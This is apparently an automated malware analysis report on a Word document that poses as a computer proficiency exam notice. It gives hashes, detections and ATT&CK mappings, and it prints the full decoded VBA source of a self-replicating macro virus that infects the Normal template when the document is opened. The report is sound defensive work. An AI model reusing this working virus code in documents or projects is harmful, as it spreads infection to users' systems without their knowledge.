Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f3f90c5f5a5720d…

MALICIOUS

Office (OLE)

39.5 KB Created: 2015-05-05 02:52:00 Authoring application: Microsoft Office Word First seen: 2017-02-27
MD5: 018a75a3f3edb4b4d3063223248e93b8 SHA-1: be5bee6ac8b1ad1575a26ee4dada180c4dd4dce8 SHA-256: 3f3f90c5f5a5720d21fbf46f789a007282399149a65aafc9ab292f7d4b27fb3d
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office Word document containing VBA macros, identified by ClamAV as 'Doc.Macro.MicroVirus-6097260-0'. The 'Document_Open' macro is designed to execute automatically when the document is opened. The macro attempts to overwrite or insert code into the Normal template or active document, indicating an attempt to establish persistence or further compromise. The document body is a plausible-looking notification for a computer proficiency exam, serving as a lure.

Heuristics 4

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    'Micro-Virus
Sub Document_Open()
On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub

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